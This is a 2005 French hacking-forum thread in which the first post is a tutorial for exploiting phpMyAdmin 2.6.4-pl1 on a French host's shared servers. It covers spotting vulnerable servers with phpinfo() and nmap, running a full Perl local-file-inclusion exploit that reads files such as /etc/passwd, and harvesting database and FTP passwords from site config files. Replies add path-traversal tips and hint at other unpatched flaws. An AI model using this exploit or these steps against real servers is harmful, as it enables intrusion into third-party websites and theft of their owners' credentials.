logo Homepage
+  NewbieContest
|-+  Divers» Hacking» Tutorial exploit root sur un serveur
Username:
Password:
Pages: [1]
  Imprimer  
Auteur Fil de discussion: Tutorial exploit root sur un serveur  (Lu 6820 fois)
Folcan

Profil challenge

Classement : 506/54254

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 1520


Voir le profil
« le: 12 Octobre 2005 à 23:24:52 »

-----------------
Introduction :
-----------------
Ce tuts s'adresse a des gens ayant deja des connaissances php/mysql/phpmyadmin et developpement reseaux.
Néenmoins, quelqu'un qui s'accroche peut reussir a le faire fonctionner a merveille.

Pensez aussi que une fois root, je ne suis en aucun cas responsable des actes commis par un utilisateur mal intentionné.
Mais essayer d'eviter les deface a la con ou le delete de base sql !


-------------------------------------
Informations complementaires :
-------------------------------------
Version phpmyadmin requise : 2.6.4-pl1


-------------------------------------
Preparation - Tools necessaires :
-------------------------------------
- nmap
- win (oui je tourne sous wwin encore ^^)
- un broswer
- 2-3 connaissances reseaux


-------------------------------------------------
Preparation - Trouver un serveur faillible :
-------------------------------------------------
Bon alors la pas 36 methodes pour connaitre la version de phpmyadmin, il faut que vous arriviez a afficher un phpinfo() sur

le serveur.
Oui mais un admin ne laisse jamais trainer un phpinfo() sur son serv !

A cela plusieurs altrenatives, phpmyadmin etant une appli sur le serveur, elle sera la meme pour TOUS les sites hebergé sur

ce serveur.
On va donc s'interresser ici aux sites de chez Free.
On a tous des comptes free, on a donc tous des acces ftp sur des serveurs Free !

Alors hop on up une page web contenant les lignes :

<?
phpinfo();
?>

Et on la run sur le serveur. La, Free nous affiche : Version de PHPMyAdmin : 2.6.4-pl1
Yéééé good un serveur faillible.

Free dispose de pres de 200 serveurs, certains deja mise a jour, d'autres non.


---------------------------------------------------------------------------------------------
Preparation - Comment savoir si le site tourne sur tel ou tel serveur (le faillible) :
---------------------------------------------------------------------------------------------
Pour cela on utilise Nmap...
La commande ?? : nmap -sP host

Exemple :

C:\nmap>nmap -sP folcan.free.fr

Starting nmap 3.93 ( http://www.insecure.org/nmap ) at 2005-10-12 23:12 Paris, M
adrid (heure d'ÚtÚ)
Host perso107-g5.free.fr (212.27.63.107) appears to be up.
Nmap finished: 1 IP address (1 host up) scanned in 2.764 seconds

Ici, Free nous renseigne que le serveur est sur perso107, donc le serveur 107, tous les sites web sur ce serveur seront donc

faillible a notre exploit.
On peux remarquer aussi avec different test que le dernier octé de l'ip, ici 107 represente enfaite le numero du serveur,

tous les sites web ayant une ip se finissant par 107 hebergé chez Free seront donc faillible.


----------------
Exploitation :
----------------
On dispose donc maintenant de pas mal d'info :
- La version du phpmyadmin tournant sur le serveur, et qui est faillible
- L'ip du site cible
- Le numero de serveur Free faillible

Maintenant il faut run l'exploit !
Oui mais ou le trouver ?? Le voici :

Code:
#!/usr/bin/perl
use IO::Socket;

# SecurityReason.com TEAM
# Maksymilian Arciemowicz ( cXIb8O3 ) cxib@securtiyreason.com
#
# Local file inclusion (./$FILE)
# simple exploit phpMyAdmin 2.6.4-pl1
#
#
# SecurityReason.com

if (@ARGV < 3)
{
print "\r\n SecurityReason TEAM\r\n";
print "[cXIb8O3] EXPLOIT for phpMyAdmin 2.6.4-pl1\r\n";
print " \r\n";
print "perl phpmyadmin-2.6.4-pl1.pl HOST /DIR/ FILE\r\n\r\n";
print "HOST - Host where is phpmyadmin example: http://localhost\r\n";
print "DIR - Directory to PMA example: /phpMyAdmin-2.6.4-pl1/\r\n";
print "FILE - file to inclusion ../../../../../etc/passwd\r\n\r\n";
print "example cmd: perl phpmyadmin-2.6.4-pl1.pl http://localhost /phpMyAdmin-2.6.4-pl1/
../../../../../etc/passwd\r\n\r\n";
exit();
}

$HOST = $ARGV[0];
$DIR = $ARGV[1]."libraries/grab_globals.lib.php";
$FILE = "usesubform[1]=1&usesubform[2]=1&subform[1][redirect]=".$ARGV[2]."&subform[1][c
XIb8O3]=1";
$LENGTH = length $FILE;

print "\r\nATTACK HOST IS: ".$HOST."\r\n\r\n";
$HOST =~ s/(http:\/\/)//;

$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80"
) || die "Error 404\r\n\r\n";

print $get1 "POST ".$DIR." HTTP/1.0\n";
print $get1 "Host: ".%HOST."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$LENGTH."\n\n";

print $get1 $FILE;

while ($odp = <$get1>)
{
if ($odp =~ /<b>Warning<\/b>: main\(\): Unable to access .\/$ARGV[2] in <b>/ ) {
printf "\n\nFile ".$ARGV[2]." no exists.\r\n\r\n";
exit;
}

printf $odp;
}

#Source : http://www.frsirt.com/exploits/20051010.phpmyadmin-2.6.4-pl1.pl.php
Bon je vous laisse le compiler par vos soin...

Pas compliqué cette exploit, vous rentré l'host, et cela vous permet de lister les fichiers du site, ainsi que de les lire.
Ca sert a rien me direz vous ?? Detrompez vous !!!
Si phpmyadmin est installé, et que le site l'utilise, il s'y connecte a un endroit, souvent dans /admin/config.php un

truc dans le genre.
Et oui, vous allez pouvoir lire les fichier comme si vous etiez en ftp, et donc afficher la source de la page, et donc le

php !!!

Vous aurez donc les lignes de codes genre :
$host="folcan.free.fr";
$user="Folcan";
$pass="Hdz34dgf";

Free sont malins, car en plus d'avoir les id de connection au phpmyadmin, vous avez aussi le ftp, etant donné que ils sont similaire !!! Simpa non ?


-------------
conclusion :
-------------
Un petit exploit bien simpa, lorsque la version de phpmyadmin est faillible !
Ne cherchez pas sur free, ils ont patché tous leurs serveurs hier apres-midi...(faut pas rever ^^)

Mais il y'a encore tellement de serveur non patché si vous arrivez a afficher un phpmyadmin et que la vers. est faillible (je crois que c l'avant derniere, et que la derniere est sortie ya meme pas une semaine, donc y'en a encore pas mal).

Bon courage


---------------------
Copyright&Tanks :
---------------------
Tutorial By -=[FoLc@N]=- ecrit le 12/10/05 a 23h45

Remerciements :
- ARf
- Team s-c
- ECS Prod Reseaux
Journalisée

-=[FoLc@N]=-

Citation :
* Le futur appartient à ceux qui croient à la beauté de leurs rêves, je crois au miens, NewbieContest aura un bon futur.
* Il y'a seulement 10 categories de gens dans la vie : ceux qui comprennent le binaire, et les autres.
Nms

Profil challenge

Classement : 74/54254

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 794


Voir le profil
« #1 le: 13 Octobre 2005 à 00:33:08 »

Sont pas cons la team s-c (enfin si ils le sont mais humainement dc c un autre pb) , **No Sms** du tout cette faille là qu'ils utilisent... celle qu'ils utilisent n'est pas du tout patchée ^^
Journalisée

Ex Newbie Contest Staff :
Nms
Status :
Concepteur d'épreuves
Citation :
Je ne sais qu'une chose : que je ne sais rien. (Socrate)
Folcan

Profil challenge

Classement : 506/54254

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 1520


Voir le profil
« #2 le: 13 Octobre 2005 à 06:18:02 »

moi je suis quasi certain que c'est celle la...(meme si je lé reformaté a ma facon parce que il n'ont pas voulu cracher la routine, je les donc reconstituer d'apres les données que j'avais)
Journalisée

-=[FoLc@N]=-

Citation :
* Le futur appartient à ceux qui croient à la beauté de leurs rêves, je crois au miens, NewbieContest aura un bon futur.
* Il y'a seulement 10 categories de gens dans la vie : ceux qui comprennent le binaire, et les autres.
Invit
Invité
« #3 le: 13 Octobre 2005 à 06:55:44 »

Citation de: Folcan
je les donc reconstituer d'apres les données que j'avais
et testé également ?

En fait, moi j'me pose une question, comment ça se fait qu'on puisse remonter les répertoires comme ça, rien qu'en faisant ../../ ? c'est vraiment pas normal, c'est ça une faille ? j'ai du mal à comprendre comment ça se fait qu'il y ai de telles erreur de programmation, pis surtout aussi grossières quoi, quelqu'un connait la raison technique ?

J'ai entendu parler d'un problème de "parsing d'url", ça correspond à quoi ?

Pis dans la foulée je vois pas non plus le lien entre http://localhost/phpMyAdmin-2.6.4-pl1/ et le répertoire dans lequel on est sur le serveur concretement (à savoir /var/www/phpMyAdmin-2.6.4-pl1/ ou un truc du même genre hein ), on m'a parlé de "racine virtuelle du serveur" quelqu'un peut poster des infos là dessus ? parceque j'y connais vraiment rien et j'voudrais apprendre... comme beaucoups*

Euh, aussi, y'a un truc, comment je fais pour lancer le script que t'as mis Folcan ? parceque moi aussi suis sous win et le script y march po, pis chais mem po quoi en fer...

BufferBob - il y a...le ciel... le soleil et... lam3r...

ps : Folcan, j'vous prépare un article justement sur les failles de type directory traversal, le temps me manque par contre, mais bon, c'est pas tellement un souci, il arrivera quand il arrivera, en reprenant l'exemple des serveur IIS 4.0 et les traversals à répétition via la mauvaise implémentation de la librairie dll de décodage Unicode, j'ai délibérément choisi une faille ancienne pour qu'elle ne puisse pas être exploitée trop facilement*, en revanche elle est très bien détaillée, le plus possible même, c'est à ça que je m'attache, de manière à ce que le principe soit clairement compréhensible... je te tiens au courant.
Journalisée
Nms

Profil challenge

Classement : 74/54254

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 794


Voir le profil
« #4 le: 13 Octobre 2005 à 10:53:29 »

Citation
Pis dans la foulée je vois pas non plus le lien entre http://localhost/phpMyAdmin-2.6.4-pl1/ et le répertoire dans lequel on est sur le serveur concretement (à savoir /var/www/phpMyAdmin-2.6.4-pl1/ ou un truc du même genre hein wink), on m'a parlé de "racine virtuelle du serveur" quelqu'un peut poster des infos là dessus ? parceque j'y connais vraiment rien et j'voudrais apprendre... comme beaucoups*
Ben ça c différent suivant le serveur sur lequel tu te trouves! En général c effectivement grosso modo le path que
tu as écrit, mais les différences peuvent être notables suivant le serveur. Par exemple, sur free, les paths sont de la forme : var/free/x/n/nom_du_site/phpmyadmin si je me rappelle bien. Le meilleur moyen de connaitre le full path c d'utiliser une faille de style full path disclosure, par exemple la faille glob qui a été bouchée chez free récemment, mais qui est encore active sur plein de serveur (et qui fait bien plus que révéler le full path...)! :)
Après, une fois que tu as le path "typique" du serveur, tu n'as plus qu'à adapater ton nombre de "../" ;)

Citation
Euh, aussi, y'a un truc, comment je fais pour lancer le script que t'as mis Folcan ? parceque moi aussi suis sous win et le script y march po, pis chais mem po quoi en fer...
Bah c du Perl donc il te faut un compilateur Perl, prend ActivePerl par exemple. C'est un peu chiant au début parce que souvent les librairies par défaut ne sont pas suffisantes pr faire tourner les exploits, mais ca se dl facilement sur le net. Après y a plus qu'à aller sous dos, et exécuter ;)

Sinon pr revenir à cet exploit phpma, et pr répondre à Folcan : ptet ben qu'ils l'ont utilisé pr chopper les pass des sites free, à vrai dire j'en sais rien. C'est fort possible. Mais ce dont je suis sûr c qu'ils savent exploiter une autre faille, tout aussi dangereuse, et qui n'a pas été bouchée du tout! Celle là est un peu plus chiante à exploiter car il faut faire tt un travail de boeuf avant pr pouvoir l'exploiter mais c très faisable! Faut juste être patient ^^
Journalisée

Ex Newbie Contest Staff :
Nms
Status :
Concepteur d'épreuves
Citation :
Je ne sais qu'une chose : que je ne sais rien. (Socrate)
Invit
Invité
« #5 le: 13 Octobre 2005 à 17:10:44 »

Citation de: Nms
Ben ça c différent suivant le serveur sur lequel tu te trouves! En général c effectivement grosso modo le path que
tu as écrit, mais les différences peuvent être notables suivant le serveur
J'voulais parler du fait qu'un newbie ne sait pas forcément pourquoi en remontant une url internet, un fqdn, on se retrouve malgré tout dans /etc ou /bin un moment donné (donc c'est dû au principe de racine virtuelle du serveur, qui est un chemin dans l'arborescence locale dont les utilisateurs du service web ne peuvent théoriquement s'échaper, et c'est là que réside la faille)

Citation
Bah c du Perl donc il te faut un compilateur Perl [...] Après y a plus qu'à aller sous dos, et exécuter
Ah bon ? sous dos ce script là s'exécute ?
Code:
#!/usr/bin/perl
A mon avis Windows il aime pas bien /usr/bin quand même... (et les fichier exécutables sans extension .exe non plus au passage)
Journalisée
comtezero

Profil challenge

Classement : 2110/54254

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 1001


Voir le profil WWW
« #6 le: 13 Octobre 2005 à 18:01:54 »

Jolie l'article Folcan, félicitations.

(Surtout que je sais pas si c'est cette faille mais on m'a fait l'astuce rien de méchant mais c bluffant)
Journalisée

·´¯`·­»Comtezero«­·´¯`·

http://www.masstek.org
Nms

Profil challenge

Classement : 74/54254

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 794


Voir le profil
« #7 le: 13 Octobre 2005 à 18:02:01 »

Je suis affirmatif! ^^
Avec mon Active Perl faut que je lance mes scripts .pl en ligne de commande, il n'y a que comme ça que ça marche.
Et pr l'usr/bin, effectivement ça m'avait étonné ds un 1er temps mais ça marche très bien sous win.
Journalisée

Ex Newbie Contest Staff :
Nms
Status :
Concepteur d'épreuves
Citation :
Je ne sais qu'une chose : que je ne sais rien. (Socrate)
Pages: [1]
  Imprimer  
 
Aller à: